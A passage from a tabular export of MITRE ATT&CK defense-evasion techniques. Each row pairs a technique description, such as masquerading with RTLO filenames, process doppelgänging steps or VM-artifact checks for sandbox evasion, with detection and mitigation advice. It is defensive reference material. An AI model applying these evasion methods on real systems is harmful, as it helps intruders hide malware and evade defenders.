Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1149	**1**	**Technique**	**LC_MAIN Hijacking**	As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary's entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn't know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.	Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.	Enforce valid digital signatures for signed code on all applications and only trust applications with signatures from trusted parties.	defense-evasion	Binary file metadata, Malware reverse engineering, Process monitoring	macOS	User, Administrator	https://attack.mitre.org/techniques/T1149
T1036	**1**	**Technique**	**Masquerading**	Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed. One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs or something innocuous. An example of this is when a common system utility or program is moved and renamed to avoid detection based on its usage.(Citation: FireEye APT10 Sept 2018) This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate. A third variant uses the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver file named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>. A common use of this technique is with spearphishing attachments since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default. Adversaries may modify a binary's metadata, including such fields as icons, version, name of the product, description, and copyright, to better blend in with the environment and increase chances of deceiving a security analyst or product.(Citation: Threatexpress MetaTwin 2017) ### Windows In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe. (Citation: Endgame Masquerade Ball) An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths. (Citation: F-Secure CozyDuke) An example of abuse of trusted locations in Windows would be the <code>C:\Windows\System32</code> directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe". ### Linux Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. (Citation: Remaiten) An example of abuse of trusted locations in Linux would be the <code>/bin</code> directory. Examples of trusted binary names that can be given to malicious binaries include "rsyncd" and "dbus-inotifier". (Citation: Fysbis Palo Alto Analysis) (Citation: Fysbis Dr Web Analysis)	Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect. If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Endgame Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update) For RTLO, detection methods should include looking for common formats of RTLO characters within filenames such as "\u202E", "[U+202E]", and "%E2%80%AE". Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the a file containing it.	When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\Windows\System32. Use tools that restrict program execution via whitelisting by attributes other than file name. Identify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	File monitoring, Process monitoring, Binary file metadata	Linux, macOS		https://attack.mitre.org/techniques/T1036
T1112	**1**	**Technique**	**Modify Registry**	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution. Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility [Reg](https://attack.mitre.org/software/S0075) may be used for local or remote Registry modification. (Citation: Microsoft Reg) Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples). Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://attack.mitre.org/software/S0075) or other utilities using the Win32 API. (Citation: Microsoft Reghide NOV 2006) Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to establish Persistence. (Citation: TrendMicro POWELIKS AUG 2014) (Citation: SpectorOps Hiding Reg Jul 2017) The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system. (Citation: Microsoft Remote) Often [Valid Accounts](https://attack.mitre.org/techniques/T1078) are required, along with access to the remote system's [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) for RPC communication.	Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Consider enabling Registry Auditing on specific keys to produce an alertable event (Event ID 4657) whenever a value is changed (though this may not trigger when values are created with Reghide or other evasive methods). (Citation: Microsoft 4657 APR 2017) Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file. Monitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), which may require additional logging features to be configured in the operating system to collect necessary information for analysis. Monitor for processes, command-line arguments, and API calls associated with concealing Registry keys, such as Reghide. (Citation: Microsoft Reghide NOV 2006) Inspect and cleanup malicious hidden Registry entries using Native Windows API calls and/or tools such as Autoruns (Citation: SpectorOps Hiding Reg Jul 2017) and RegDelNull (Citation: Microsoft RegDelNull July 2016).	Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation. Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	Windows Registry, File monitoring, Process monitoring, Process command-line parameters	Windows	User, Administrator	https://attack.mitre.org/techniques/T1112
T1126	**1**	**Technique**	**Network Share Connection Removal**	Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\system\share /delete</code> command. (Citation: Technet Net Use) Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.	Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.	Follow best practices for mitigation of activity related to establishing [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). Identify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	Process monitoring, Process command-line parameters, Packet capture, Authentication logs	Windows	Administrator, User	https://attack.mitre.org/techniques/T1126

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1096	**1**	**Technique**	**NTFS File Attributes**	Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)	Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017) There are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. The Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)	It may be difficult or inadvisable to block access to EA and ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Symantec ADS May 2009) Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA and ADSs by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP) Consider adjusting read and write permissions for NTFS EA, though this should be tested to ensure routine OS operations are not impeded. (Citation: InsiderThreat NTFS EA Oct 2017)	defense-evasion	File monitoring, Kernel drivers, API monitoring, Process command-line parameters	Windows		https://attack.mitre.org/techniques/T1096
T1027	**1**	**Technique**	**Obfuscated Files or Information**	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript. Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016) Adversaries may also obfuscate commands executed from payloads or directly via a [Command-Line Interface](https://attack.mitre.org/techniques/T1059). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017) Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding [Invoke-PSImage](https://attack.mitre.org/software/S0231). The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used [Invoke-PSImage](https://attack.mitre.org/software/S0231) to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)	Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system). Flag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016) Obfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.	Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015) Mitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.	defense-evasion	Network protocol analysis, Process use of network, File monitoring, Malware reverse engineering	Linux, macOS		https://attack.mitre.org/techniques/T1027
T1186	**1**	**Technique**	**Process Doppelgänging**	Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF) Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017) Adversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017) Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017): * Transact - Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction. * Load - Create a shared section of memory and load the malicious executable. * Rollback - Undo changes to original executable, effectively removing malicious code from the file system. * Animate - Create a process from the tainted section of memory and initiate execution.	Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelgänging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelgänging Dec 2017) (Citation: hasherezade Process Doppelgänging Dec 2017) Scan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelgänging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelgänging Dec 2017) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.	This type of attack technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate process-loading mechanisms from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Although Process Doppelgänging may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	API monitoring, Process monitoring	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1186

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1093	**1**	**Technique**	**Process Hollowing**	Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Endgame Process Injection July 2017)	Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.	This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	Process monitoring, API monitoring	Windows	User	https://attack.mitre.org/techniques/T1093
T1536	**1**	**Technique**	**Revert Cloud Instance**	An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be easily facilitated using restoration from VM or data storage snapshots through the cloud management dashboard. Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the latter types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)	Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g. tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.		defense-evasion	Azure OS logs, AWS CloudTrail logs, Azure activity logs, Stackdriver logs	AWS, GCP	User, Administrator	https://attack.mitre.org/techniques/T1536
T1014	**1**	**Technique**	**Rootkit**	Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit) Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)	Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)	Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	BIOS, MBR, System calls	Linux, macOS	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1014
T1045	**1**	**Technique**	**Software Packing**	Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. Adversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)	Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.	Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection. Identify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	Binary file metadata	Windows, macOS		https://attack.mitre.org/techniques/T1045
T1221	**1**	**Technique**	**Template Injection**	Microsoft's Open Office XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered. (Citation: Microsoft Open XML July 2017) Properties within parts may reference shared public resources accessed via online URLs. For example, template properties reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded. Adversaries may abuse this technology to initially conceal malicious code to be executed via documents (i.e. [Scripting](https://attack.mitre.org/techniques/T1064)). Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. (Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. (Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit. (Citation: MalwareBytes Template Injection OCT 2017) This technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt. (Citation: Anomali Template Injection MAR 2018) (Citation: Talos Template Injection July 2017) (Citation: ryhanson phishery SEPT 2016)	Analyze process behavior to determine if an Office application is performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1086)), or other suspicious actions that could relate to post-compromise behavior.	Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique. Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)	defense-evasion	Anti-virus, Email gateway, Network intrusion detection system, Web logs	Windows	User	https://attack.mitre.org/techniques/T1221
T1099	**1**	**Technique**	**Timestomp**	Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)	Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.	Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	defense-evasion	File monitoring, Process monitoring, Process command-line parameters	Linux, Windows	User, Administrator	https://attack.mitre.org/techniques/T1099

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1535	**1**	**Technique**	**Unused/Unsupported Cloud Regions**	Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure. Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected. A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. For example, AWS GuardDuty is not supported in every region.(Citation: AWS Region Service Table) An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)	Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)		defense-evasion	Stackdriver logs, Azure activity logs, AWS CloudTrail logs	AWS, GCP	User	https://attack.mitre.org/techniques/T1535
T1497	**1**	**Technique**	**Virtualization/Sandbox Evasion**	Adversaries may check for the presence of a virtual machine environment (VME) or sandbox to avoid potential detection of tools and activities. If the adversary detects a VME, they may alter their malware to conceal the core functions of the implant or disengage from the victim. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information from learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. Adversaries may use several methods including [Security Software Discovery](https://attack.mitre.org/techniques/T1063) to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) by searching for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) to help determine if it is an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandboxes. (Citation: Unit 42 Pirpi July 2015) ###Virtual Machine Environment Artifacts Discovery### Adversaries may use utilities such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1086), [Systeminfo](https://attack.mitre.org/software/S0096), and the [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, and/or the Registry. Adversaries may use [Scripting](https://attack.mitre.org/techniques/T1064) to combine these checks into one script and then have the program exit if it determines the system to be a virtual environment. Also, in applications like VMWare, adversaries can use a special I/O port to send commands and receive output. Adversaries may also check the drive size. For example, this can be done using the Win32 DeviceIOControl function. Example VME Artifacts in the Registry(Citation: McAfee Virtual Jan 2017) * <code>HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions</code> * <code>HKLM\HARDWARE\Description\System\"SystemBiosVersion";"VMWARE"</code> * <code>HKLM\HARDWARE\ACPI\DSDT\BOX_</code> Example VME files and DLLs on the system(Citation: McAfee Virtual Jan 2017) * <code>WINDOWS\system32\drivers\vmmouse.sys</code> * <code>WINDOWS\system32\vboxhook.dll</code> * <code>Windows\system32\vboxdisp.dll</code> Common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) ###User Activity Discovery### Adversaries may search for user activity on the host (e.g., browser history, cache, bookmarks, number of files in the home directories, etc.) for reassurance of an authentic environment. They might detect this type of information via user interaction and digital signatures. They may have malware check the speed and frequency of mouse clicks to determine if it's a sandboxed environment.(Citation: Sans Virtual Jan 2016) Other methods may rely on specific user interaction with the system before the malicious code is activated. Examples include waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) and waiting for a user to double click on an embedded image to activate (Citation: FireEye FIN7 April 2017). ###Virtual Hardware Fingerprinting Discovery### Adversaries may check the fan and temperature of the system to gather evidence that can be indicative a virtual environment. An adversary may perform a CPU check using a WMI query <code>$q = "Select * from Win32_Fan" Get-WmiObject -Query $q</code>. If the results 